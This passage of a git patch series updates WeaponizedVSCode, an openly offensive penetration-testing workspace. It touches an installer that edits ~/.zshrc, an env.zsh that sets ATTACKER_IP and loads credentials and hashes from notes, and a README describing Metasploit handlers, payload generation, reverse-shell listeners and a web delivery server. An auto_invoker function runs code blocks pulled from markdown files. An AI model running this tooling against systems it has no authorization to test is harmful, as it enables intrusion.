"$WEAPON_FORCE_INSTALL" == "true" ]]; then + echo "Force install mode enabled, removing existing Weapon directory at $WEAPON_LOCATION." + rm -rf "$WEAPON_LOCATION" + else + echo "If you want to reinstall Weapon, please remove the existing directory at $WEAPON_LOCATION or use --force-install option." + exit 0 + fi exit 0 fi + export LOCATION="$WEAPON_LOCATION" echo "Weapon will be installed to $LOCATION, Press Enter key to continue or Ctrl+C to cancel..." read @@ -55,15 +84,37 @@ function main() { cat ./createhackenv.sh |sed -e "s#__REPLACE__#$LOCATION#g" > $LOCATION/createhackenv.sh && echo "createhackenv.sh copied to $LOCATION." cp -f ./zsh_history $LOCATION && echo "zsh_history copied to $LOCATION." - grep -zq "source $LOCATION/createhackenv.sh" ~/.zshrc + if [[ "$WEAPON_TRACE_MODE" == "true" ]];then + cp -f ./zsh_preformance_tracer.sh $LOCATION && echo "zsh_performance_tracer is copied to $LOCATION." + fi + + grep -zq "${INSTALL_IDENTIFIER}" ~/.zshrc if [[ $? -eq 0 ]]; then echo "createhackenv.sh already sourced in ~/.zshrc. sktpping..." else echo "Sourcing createhackenv.sh in ~/.zshrc..." - echo "source $LOCATION/createhackenv.sh" >>~/.zshrc + cp ~/.zshrc ~/.zshrc.pre-weaponized-vscode && echo "Backup ~/.zshrc to ~/.zshrc.pre-weaponized-vscode" + + if [[ "$WEAPON_TRACE_MODE" == "true" ]]; then +cat<> ~/.zshrc + +# ${INSTALL_IDENTIFIER} +[[ -f $LOCATION/zsh_preformance_tracer.sh ]] && source $LOCATION/zsh_preformance_tracer.sh && zsh_trace_start +[[ -f $LOCATION/createhackenv.sh ]] && source $LOCATION/createhackenv.sh +[[ -f $LOCATION/zsh_performance_tracer ]] && zsh_trace_end +EOF + else +cat<> ~/.zshrc + +# ${INSTALL_IDENTIFIER} +[[ -f $LOCATION/createhackenv.sh ]] && source $LOCATION/createhackenv.sh +EOF + fi + fi echo "Weaponized VSCode installation completed." } -main "$@" +args "$@" +main diff --git a/zsh_preformance_tracer.sh b/zsh_preformance_tracer.sh index 8dcee16..08f5530 100644 --- a/zsh_preformance_tracer.sh +++ b/zsh_preformance_tracer.sh @@ -1,3 +1,5 @@ +export WEAPON_TRACE_LOG=/tmp/weapon_trace_log.$$ + zsh_trace_start() { echo "starting zsh tracing" # set the trace prompt to include seconds, nanoseconds, script name and line number @@ -11,7 +13,7 @@ zsh_trace_start() { fi # save file stderr to file descriptor 3 and redirect stderr (including trace # output) to a file with the script's PID as an extension - exec 3>&2 2>/tmp/startlog.$$ + exec 3>&2 2>$WEAPON_TRACE_LOG # set options to turn on tracing and expansion of commands contained in the prompt setopt xtrace prompt_subst trap 'setopt xtrace' EXIT @@ -22,7 +24,7 @@ zsh_trace_end() { unsetopt xtrace # restore stderr to the value saved in FD 3 exec 2>&3 3>&- - echo "zsh tracing done. See /tmp/startlog.$$" + echo "zsh tracing done. See $WEAPON_TRACE_LOG for details." trap 'unsetopt xtrace' EXIT } From 27ea7f05b96676e1bc3e3a40aec43051e12a791e Mon Sep 17 00:00:00 2001 From: esonhugh Date: Wed, 18 Jun 2025 17:26:23 +0800 Subject: [PATCH 41/52] bug: fix --- installer.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/installer.sh b/installer.sh index a6edae3..adb3637 100755 --- a/installer.sh +++ b/installer.sh @@ -101,7 +101,7 @@ cat<> ~/.zshrc # ${INSTALL_IDENTIFIER} [[ -f $LOCATION/zsh_preformance_tracer.sh ]] && source $LOCATION/zsh_preformance_tracer.sh && zsh_trace_start [[ -f $LOCATION/createhackenv.sh ]] && source $LOCATION/createhackenv.sh -[[ -f $LOCATION/zsh_performance_tracer ]] && zsh_trace_end +[[ -f $LOCATION/zsh_preformance_tracer.sh ]] && zsh_trace_end EOF else cat<> ~/.zshrc From abc0705e82e04883d1d482d979917cc0bd243e30 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Thu, 19 Jun 2025 22:26:31 +0800 Subject: [PATCH 42/52] update: force install --- installer.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/installer.sh b/installer.sh index adb3637..87c9d3c 100755 --- a/installer.sh +++ b/installer.sh @@ -73,7 +73,6 @@ function main() { echo "If you want to reinstall Weapon, please remove the existing directory at $WEAPON_LOCATION or use --force-install option." exit 0 fi - exit 0 fi export LOCATION="$WEAPON_LOCATION" From 9afb4ee45d86b8253f03578e653e6cae7448eb50 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Thu, 19 Jun 2025 22:31:41 +0800 Subject: [PATCH 43/52] ignore: command history --- craft.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/craft.py b/craft.py index 867c99e..d080153 100755 --- a/craft.py +++ b/craft.py @@ -22,6 +22,8 @@ def create_value_map(filepath:str): variable_file_content_map = {} files = os.listdir(filepath) for file in files: + if file in [".command_history"]: + continue curr_file = os.path.join(filepath, file) if os.path.isfile(curr_file): variable_file_content_map[curr_file] = read_file_return_base64ed_content(curr_file) From ad2b086f6c642ba54cc4eee2b84bb42397d62173 Mon Sep 17 00:00:00 2001 From: m4chin3 Date: Mon, 23 Jun 2025 13:45:40 +0800 Subject: [PATCH 44/52] Update env.zsh change `ifconfig` to `ip a` --- .vscode/env.zsh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index e4a7103..da7f442 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -9,7 +9,7 @@ unset USER_ZDOTDIR # use this if you are using a VPS or cloud server it can automatically get your public IP. # export LHOST=`curl ifconfig.me` # export LHOST=`curl ip.me` -export LHOST=${$(ifconfig | grep '10\.10\.' | cut -d ' ' -f2):-10.0.0.1} +export LHOST=${$(ip a | grep '10\.10\.' | cut -d ' ' -f6 | cut -d '/' -f1):-10.0.0.1} export ATTACKER_IP=$LHOST export LPORT=6789 @@ -473,4 +473,4 @@ function differ() { return 1 fi code -d "$1" "$2" -} \ No newline at end of file +} From 74d8a6d00899548c6de492b6105d696ae1ae32ab Mon Sep 17 00:00:00 2001 From: m4chin3 Date: Mon, 23 Jun 2025 14:23:10 +0800 Subject: [PATCH 45/52] Update extensions.json ms-python.vscode-python-envs for env manage --- .vscode/extensions.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.vscode/extensions.json b/.vscode/extensions.json index 552b018..5262c5b 100644 --- a/.vscode/extensions.json +++ b/.vscode/extensions.json @@ -19,7 +19,7 @@ "icsharpcode.ilspy-vscode", // c# decompiler // Python "ms-python.python", // ms python supports - "donjayamanne.python-environment-manager", // python environment/packages manager + "ms-python.vscode-python-envs", // python environment/packages manager // Golang "golang.go", // golang support "foxundermoon.shell-format", // shell formatter @@ -40,4 +40,4 @@ "ms-vscode-remote.vscode-remote-extensionpack" // remote extension pack // "mhutchie.git-graph", // git graph ] -} \ No newline at end of file +} From 4c36fc3d1be2e57455b6546dd8f34c2821598f38 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Mon, 23 Jun 2025 17:53:01 +0800 Subject: [PATCH 46/52] fix: space contains in username --- .vscode/env.zsh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index e4a7103..648bc17 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -58,13 +58,13 @@ function safe_name() { echo "Usage: safe_name " return 1 fi - echo "$name" | tr '@$.-' '____' # replace . and - with _ to avoid env var issues + echo "$name" | tr '@$.- ' '_____' # replace . and - with _ to avoid env var issues } function update_host_to_env() { if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/hosts" ]]; then - for ur in $(ls -1 ${PROJECT_FOLDER}/hosts); do - local file="${PROJECT_FOLDER}/hosts/${ur}/${ur}.md" + for ur in ${(@f)"$(ls -1 ${PROJECT_FOLDER}/hosts)"}; do + local file="'${PROJECT_FOLDER}/hosts/${ur}/${ur}.md'" if [ -f "$file" ]; then local host_data=$(cut_lines_from_markdown_codes "$file" "yaml host") @@ -123,8 +123,8 @@ function set_current_host() { # auto set the data in the function update_user_cred_to_env() { if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/users" ]]; then - for ur in $(ls -1 ${PROJECT_FOLDER}/users); do - local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" + for ur in ${(@f)"$(ls -1 ${PROJECT_FOLDER}/users)"}; do + local file="'${PROJECT_FOLDER}/users/${ur}/${ur}.md'" if [ -f "$file" ]; then local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") @@ -171,7 +171,7 @@ function set_current_user() { ### auto invoke the commands in markdown files function auto_invoker() { - for markdown in $(find ${PROJECT_FOLDER}/{users,hosts,services} -iname "*.md" 2>/dev/null); do + for markdown in ${(@f)"$(find ${PROJECT_FOLDER}/{users,hosts,services} -iname "*.md" 2>/dev/null)"}; do # list all markdown files in users, hosts, services local auto_invoker=$(cut_lines_from_markdown_codes "$markdown" "zsh env-invoked") if [[ -n "$auto_invoker" ]]; then source <(echo "$auto_invoker") # source it! From 664384d04ed034428ff2f91abb455be856205471 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Mon, 23 Jun 2025 17:59:31 +0800 Subject: [PATCH 47/52] fix: don't it ' in the environment var --- .vscode/env.zsh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 648bc17..4b787a8 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -64,7 +64,7 @@ function safe_name() { function update_host_to_env() { if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/hosts" ]]; then for ur in ${(@f)"$(ls -1 ${PROJECT_FOLDER}/hosts)"}; do - local file="'${PROJECT_FOLDER}/hosts/${ur}/${ur}.md'" + local file="${PROJECT_FOLDER}/hosts/${ur}/${ur}.md" if [ -f "$file" ]; then local host_data=$(cut_lines_from_markdown_codes "$file" "yaml host") @@ -124,10 +124,10 @@ function set_current_host() { function update_user_cred_to_env() { if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/users" ]]; then for ur in ${(@f)"$(ls -1 ${PROJECT_FOLDER}/users)"}; do - local file="'${PROJECT_FOLDER}/users/${ur}/${ur}.md'" + local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" if [ -f "$file" ]; then local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") - + local user=$(echo "$usercred" | yq '.[0].user' -r) local _var=$(safe_name "$user") # replace . and - with _ to avoid env var issues local pass=$(echo "$usercred" | yq '.[0].password' -r) From f80af3b20ea0a6b72954570b033777303c7b4a08 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Mon, 23 Jun 2025 18:54:42 +0800 Subject: [PATCH 48/52] fix: change tr more safer --- .vscode/env.zsh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 4b787a8..977f155 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -58,7 +58,7 @@ function safe_name() { echo "Usage: safe_name " return 1 fi - echo "$name" | tr '@$.- ' '_____' # replace . and - with _ to avoid env var issues + echo "$name" | tr '@$.- [](){}!#' '_' # replace . and - with _ to avoid env var issues } function update_host_to_env() { From d6897f73cc73b51067f45b3b0e99324b537ae47f Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 23 Jun 2025 22:47:27 +0800 Subject: [PATCH 49/52] update: current user env --- .vscode/env.zsh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 977f155..66bd5aa 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -181,15 +181,15 @@ function auto_invoker() { auto_invoker function current_status() { - if [[ -z $CURRENT_HOST ]]; then + if [[ -z $CURRENT_RHOST ]]; then echo "No current host set." else - echo "Current Host: ${CURRENT_HOST} => ${CURRENT_HOSTNAME} (${CURRENT_IP}) ${DC_HOST} ${DC_IP}" + echo "Current Host: ${TARGET} => ${DOMAIN} (${RHOST}) ${DC_HOST} ${DC_IP}" fi if [[ -z $CURRENT_USER ]]; then echo "No current user set." else - echo "Current User: ${CURRENT_USER} => ${USER}:${PASS} (${CURRENT_NT_HASH})" + echo "Current User: ${USER} => ${USER}:${PASS} (${NT_HASH})" fi } if [[ ! -z "$SHOW_CURRENT_STATUS" ]]; then From 2e332a0d7912ff606f0aa9ce856983d53e35d281 Mon Sep 17 00:00:00 2001 From: lsroot Date: Wed, 25 Jun 2025 11:58:49 +0800 Subject: [PATCH 50/52] fix: improve LHOST assignment logic and clean up whitespace in user credential functions --- .vscode/env.zsh | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 712b240..d5ff082 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -9,7 +9,11 @@ unset USER_ZDOTDIR # use this if you are using a VPS or cloud server it can automatically get your public IP. # export LHOST=`curl ifconfig.me` # export LHOST=`curl ip.me` -export LHOST=${$(ip a | grep '10\.10\.' | cut -d ' ' -f6 | cut -d '/' -f1):-10.0.0.1} +if command -v ifconfig >/dev/null 2>&1; then + export LHOST=${$(ifconfig | grep '10\.10\.' | cut -d ' ' -f2):-10.0.0.1} +else + export LHOST=${$(ip a | grep '10\.10\.' | cut -d ' ' -f6 | cut -d '/' -f1):-10.0.0.1} +fi export ATTACKER_IP=$LHOST export LPORT=6789 @@ -127,7 +131,7 @@ function update_user_cred_to_env() { local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" if [ -f "$file" ]; then local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") - + local user=$(echo "$usercred" | yq '.[0].user' -r) local _var=$(safe_name "$user") # replace . and - with _ to avoid env var issues local pass=$(echo "$usercred" | yq '.[0].password' -r) @@ -158,7 +162,7 @@ function set_current_user() { export CURRENT_PASS=$(eval echo '$PASS_'$CURRENT) # alias for PASS_A or PASS_B export CURRENT_NT_HASH=$(eval echo '$NT_HASH_'$CURRENT) # alias for NT_HASH_A or NT_HASH_B export CURRENT_LOGIN=$(eval echo '$LOGIN_'$CURRENT) # alias for LOGIN_A or LOGIN_B - + # defined variables if u need export USER=${CURRENT_USER} export USERNAME=${CURRENT_USER} @@ -167,7 +171,7 @@ function set_current_user() { export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A export LOGIN=${CURRENT_LOGIN} # alias for LOGIN_A } -# set_current_user +# set_current_user ### auto invoke the commands in markdown files function auto_invoker() { From b688ade107eb92ef12ef54d2b04fe47e20f207e6 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Fri, 18 Jul 2025 22:09:52 +0800 Subject: [PATCH 51/52] update: install script for better check command --- installer.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/installer.sh b/installer.sh index 87c9d3c..5ddaf1b 100755 --- a/installer.sh +++ b/installer.sh @@ -1,8 +1,7 @@ #!/bin/zsh function check_command() { - command -v "$1" >/dev/null 2>&1 && { - } || { + command -v "$1" >/dev/null 2>&1 || { echo "detect $1 is not installed." echo "$2" return 2 From a703d82d254499791046e76794030adceeefb402 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 22 Jul 2025 15:09:16 +0800 Subject: [PATCH 52/52] update: readme --- README.md | 330 +++++++++++++++++++++++++++++++++++++++++++++-------- README2.md | 69 +++++++++++ 2 files changed, 352 insertions(+), 47 deletions(-) create mode 100644 README2.md diff --git a/README.md b/README.md index d931133..b6a6639 100644 --- a/README.md +++ b/README.md @@ -1,69 +1,305 @@ -## Create Hacking Environment +# WeaponizedVSCode -### USAGE +A lightweight penetration testing environment management tool based on Visual Studio Code, designed for cybersecurity professionals and penetration testers. -[Usage Readme](./documents/USE.md) +## 🎯 Project Goals -[Custom Readme](./documents/CUSTOM.md) +WeaponizedVSCode aims to solve the following problems in traditional penetration testing: -[Demo](./documents/DEMO.md) +1. **Difficult Environment Switching** - Frequent switching between different project environment configurations +2. **Chaotic Tool Management** - Tools and payloads scattered across different directories +3. **Repetitive Configuration** - Each project requires reconfiguring Metasploit, reverse shells, etc. +4. **Scattered Records** - Credentials, notes, and files stored dispersedly +5. **Low Efficiency** - Lack of mechanisms for rapid payload generation -### AIM of project (which problem this project try to solve) +## ✨ Core Features -Cobalt Strike has a lot of features, but it's too heavy for only host machine or boxes. But it's inspired me a lot. +### 🔄 Project Environment Management +- **One-Click Project Environment Creation** - Use `createhack ` to quickly create pre-configured penetration testing projects +- **Smart Environment Switching** - Seamless switching between different projects with automatic configuration loading +- **Template-Based Configuration** - Pre-configured VSCode settings, tasks, and extension configurations -So I wanna create a lightweight hacking environment for myself and providing features like following: +### 🛠️ Integrated Tool Support +- **300+ Security Tool Integration** - Pre-configured command completion for common penetration testing tools +- **Smart Command History** - Tool index-based command history and auto-completion +- **Environment Variable Management** - Automatic detection and management of tool-dependent environment variables -1. different enviroment in different hacking project - content switching +### 🎮 Multi-Mode Terminals +- **Standard Shell** - Enhanced Zsh terminal with status display +- **Meterpreter Handler** - Auto-configured Metasploit listener +- **MSF Console** - Pre-configured Metasploit console +- **Netcat Handler** - Reverse shell handling terminal +- **Web Delivery** - HTTP server mode for file transfer +- **Kali OrbStack** - Virtual machine integration support (macOS) - > such as, you play #hackthebox machine and #tryhackme machine at the same time, and you have to switch the different environment for them. - > - > you will cost a lot time on switching the environment, and you will forget to switch the environment sometimes although you have a note for it. +### 📋 Project Organization Features +- **Structured Directories** - Automatically create hosts, users, credentials directories +- **File Management** - Convenient project file and web transfer file management +- **Note System** - Integrated Foam extension with bidirectional linked notes +- **Credential Management** - Centralized management of discovered user credentials -2. enviroments collections. put things about projects together. - save and clean +### ⚡ Quick Operations +- **Payload Generation** - VSCode task integration for rapid Msfvenom payload generation +- **Automated Scanning** - Integration of RustScan, Nmap, and other scanning tools +- **Proxy Management** - Convenient proxy switching and configuration +- **Host Management** - Automatic /etc/hosts file updates - > such as, you have a #hackthebox machine and you put all the tools together in a arsenal - > - > Now you need craft some payload and delivery it to the target machine - > - > before: you need to switch the environment to the arsenal folder , compile payloads and start a server(maybe http server or jndi server) to delivery the payload - > - > that compile will make the arsenal folder dirty, and you need to clean it up before you commit it to git - > - > and what you compile is useless for other projects which also need this payload - > - > if you want copy the payload back to the project folder, you need to find the project folder again and copy the path. - > - > now: you can create $PROJECT_WEB_DELIVERY for the payload and delivery it to the target machine, and you can easliy move the payload to $PROJECT_WEB_DELIVERY and delivery it to the target machine. also you save the payload for this project and you can use it again and keep the arsenal folder clean. +## 🔧 System Requirements -3. customized metaspoit rcfile for different projects +### Supported Platforms +- **Linux** (Recommended) +- **macOS** +- **Windows** (Partial functionality, not fully supported) - > such as, you have a #hackthebox machine and you want create a handler fastly. when your machine is resetting and recover the reverse shell again. - > - > now: you can edit the rcfile for project and use it in vscode terminal with `metasploit` mode. send trigger again and get the shell. +### Required Dependencies +```bash +# Core Tools +zsh # Shell environment +code # Visual Studio Code +python3 # Python runtime +vim # Editor -4. taking notes, log/save credentials, download files from remote machine and keep them tidy +# Network Tools +nc # Netcat +rlwrap # Command line wrapper - it works well with vscode. so you can use some vscode extensions and vscode features to do sth. +# Parsing Tools +awk, sed, grep, tr # Text processing tools +yq # YAML processor - like ssh with vscode or port fortwarding with vscode +# Security Tools +msfvenom # Metasploit payload generator +rustscan # Port scanner +wfuzz # Web fuzzing tool +hashcat # Password cracking tool +``` - > such as, you have a #hackthebox machine and you want to save the credentials you found in the machine. - > - > now: you can create a file named `cred` and save the credentials in it. `user` folder to save context with getting foothold and to user. `root` folder to save context with getting root. - > - > also I recommand using Foam in extensions.json to take notes and save the notes in the project folder. you can use the notes to write the report after you get the goal. you can use double linked like [[USE]] to go to the doucment use.md. - > +### Recommended Tools +```bash +simplehttpserver # Enhanced HTTP server +uv # Python package manager (performance optimization) +``` -5. fast payload generation with metasploit +## 🚀 Installation Guide - > such as, you have a #hackthebox machine and you want to craft a payload for it. - > - > now: you can use vscode tasks in vscode to generate the payload fastly. - > - > +### 1. Clone Repository +```bash +git clone https://github.com/Esonhugh/WeaponizedVSCode.git +cd WeaponizedVSCode +``` -6. more feature ... +### 2. Build Project +```bash +# Build using Make (recommended) +make build +# Or build manually +uv run ./craft.py +uv run ./completion_creator.py +``` -### Happy hacking. ;) +### 3. Install to System +```bash +# Default installation (installs to ~/.local/weapon) +./installer.sh + +# Custom installation location +WEAPON_LOCATION=/your/custom/path ./installer.sh + +# Force reinstallation +./installer.sh --force-install + +# Enable performance tracing mode +./installer.sh --trace-mode +``` + +### 4. Verify Installation +```bash +# Check script integrity +python3 verify.py createhackenv.sh + +# Reload shell configuration +source ~/.zshrc +``` + +## 📖 Usage + +### Create New Project +```bash +# Create new penetration testing project +createhack my-project +# Or use alias +createhackenv my-project +``` + +### Environment Variable Configuration +Set environment variables in the project's `.vscode/env.zsh` file: +```bash +export RHOST="10.10.10.1" +export RPORT="4444" +export LHOST="10.10.14.1" +export LPORT="9001" +export DOMAIN="target.com" +``` + +### Terminal Mode Usage + +#### 1. Standard Shell Mode +- Automatically load project environment variables +- Display current status information +- Support all tool command completion + +#### 2. Meterpreter Handler Mode +```bash +# Select "meterpreter-handler" terminal profile in VSCode +# Automatically start configured Metasploit listener +``` + +#### 3. Web Delivery Mode +```bash +# Select "web-delivery" terminal profile in VSCode +# Automatically switch to $PROJECT_WEB_DELIVERY directory and start HTTP server +``` + +### Common Command Examples +```bash +# Host Management +set_current_host 10.10.10.1 +dump_hosts | sudo tee -a /etc/hosts + +# User Management +set_current_user administrator +update_user_cred_to_env + +# Scanning Operations +rustscan -a $RHOST --ulimit 5000 -- -A --script=vuln +nmap -sC -sV -p 139,445,80,21 $RHOST + +# Proxy Management +proxys on +proxys set http://127.0.0.1:8080 + +# File Operations +cp payload.exe $PROJECT_WEB_DELIVERY/ +``` + +## 🏗️ Project Structure + +``` +WeaponizedVSCode/ +├── craft.py # Environment build script +├── completion_creator.py # Command completion generator +├── installer.sh # Installation script +├── verify.py # Script verification tool +├── launch_helper.zsh # Shell launch helper +├── Makefile # Build configuration +├── .vscode/ # VSCode template configuration +│ ├── settings.json # Editor settings +│ ├── tasks.json # Task configuration +│ ├── extensions.json # Recommended extensions +│ ├── env.zsh # Environment variables +│ ├── metasploit_handler.rc # MSF configuration +│ └── source_*.zsh # Mode launch scripts +├── completion_indexer/ # Tool command index +│ ├── nmap # Nmap command set +│ ├── burpsuite # Burp Suite command set +│ ├── metasploit # Metasploit command set +│ ├── _weapon # Built-in tool commands +│ └── ... # 300+ tool command sets +└── documents/ # Project documentation + ├── USE.md # Usage instructions + ├── CUSTOM.md # Customization guide + └── DEMO.md # Demo documentation +``` + +### Created Project Structure +``` +my-project/ +├── .vscode/ # VSCode configuration +│ ├── .zshrc # Shell configuration +│ ├── env.zsh # Environment variables +│ └── ... # Other configuration files +├── hosts/ # Host information +├── users/ # User information +├── credentials/ # Credential information +└── web-delivery/ # Web transfer files +``` + +## 🎨 Custom Configuration + +### Modify Templates +1. Edit configuration files in the `.vscode/` directory +2. Run `python3 craft.py` to regenerate installation script +3. Commit changes to Git repository + +### Add New Tools +1. Create new tool command files in the `completion_indexer/` directory +2. Run `python3 completion_creator.py` to update command index +3. Rebuild and install + +### Environment Variable Check +```bash +# Check all used environment variables +python3 completion_creator.py +``` + +## 🔍 Troubleshooting + +### Common Issues + +#### 1. Command Completion Not Working +```bash +# Check if zsh_history file exists +ls -la ~/.local/weapon/zsh_history + +# Regenerate command index +python3 completion_creator.py +``` + +#### 2. Metasploit Mode Cannot Start +```bash +# Check if Metasploit is properly installed +which msfconsole +msfconsole --version + +# Check RC file +cat .vscode/metasploit_handler.rc +``` + +#### 3. Environment Variables Not Loading Correctly +```bash +# Check project environment variable file +source .vscode/env.zsh +echo $PROJECT_FOLDER +``` + +## 🤝 Contributing + +1. Fork this repository +2. Create a feature branch (`git checkout -b feature/AmazingFeature`) +3. Commit your changes (`git commit -m 'Add some AmazingFeature'`) +4. Push to the branch (`git push origin feature/AmazingFeature`) +5. Create a Pull Request + +## 📄 License + +This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. + +## 🙏 Acknowledgments + +- Inspired by Cobalt Strike's environment management concepts +- Thanks to all security tool developers for their contributions +- Thanks to the VSCode community for providing a powerful extension ecosystem + +## 📞 Support + +- **GitHub Issues**: [Report Issues](https://github.com/Esonhugh/WeaponizedVSCode/issues) +- **Author**: Esonhugh + +--- + +**Happy Hacking! 🎯** + + ## 404Starlink + +WeaponizedVSCode has joined [404Starlink](https://github.com/knownsec/404StarLink) diff --git a/README2.md b/README2.md new file mode 100644 index 0000000..d931133 --- /dev/null +++ b/README2.md @@ -0,0 +1,69 @@ +## Create Hacking Environment + +### USAGE + +[Usage Readme](./documents/USE.md) + +[Custom Readme](./documents/CUSTOM.md) + +[Demo](./documents/DEMO.md) + +### AIM of project (which problem this project try to solve) + +Cobalt Strike has a lot of features, but it's too heavy for only host machine or boxes. But it's inspired me a lot. + +So I wanna create a lightweight hacking environment for myself and providing features like following: + +1. different enviroment in different hacking project - content switching + + > such as, you play #hackthebox machine and #tryhackme machine at the same time, and you have to switch the different environment for them. + > + > you will cost a lot time on switching the environment, and you will forget to switch the environment sometimes although you have a note for it. + +2. enviroments collections. put things about projects together. - save and clean + + > such as, you have a #hackthebox machine and you put all the tools together in a arsenal + > + > Now you need craft some payload and delivery it to the target machine + > + > before: you need to switch the environment to the arsenal folder , compile payloads and start a server(maybe http server or jndi server) to delivery the payload + > + > that compile will make the arsenal folder dirty, and you need to clean it up before you commit it to git + > + > and what you compile is useless for other projects which also need this payload + > + > if you want copy the payload back to the project folder, you need to find the project folder again and copy the path. + > + > now: you can create $PROJECT_WEB_DELIVERY for the payload and delivery it to the target machine, and you can easliy move the payload to $PROJECT_WEB_DELIVERY and delivery it to the target machine. also you save the payload for this project and you can use it again and keep the arsenal folder clean. + +3. customized metaspoit rcfile for different projects + + > such as, you have a #hackthebox machine and you want create a handler fastly. when your machine is resetting and recover the reverse shell again. + > + > now: you can edit the rcfile for project and use it in vscode terminal with `metasploit` mode. send trigger again and get the shell. + +4. taking notes, log/save credentials, download files from remote machine and keep them tidy + + it works well with vscode. so you can use some vscode extensions and vscode features to do sth. + + like ssh with vscode or port fortwarding with vscode + + > such as, you have a #hackthebox machine and you want to save the credentials you found in the machine. + > + > now: you can create a file named `cred` and save the credentials in it. `user` folder to save context with getting foothold and to user. `root` folder to save context with getting root. + > + > also I recommand using Foam in extensions.json to take notes and save the notes in the project folder. you can use the notes to write the report after you get the goal. you can use double linked like [[USE]] to go to the doucment use.md. + > + +5. fast payload generation with metasploit + + > such as, you have a #hackthebox machine and you want to craft a payload for it. + > + > now: you can use vscode tasks in vscode to generate the payload fastly. + > + > + +6. more feature ... + + +### Happy hacking. ;)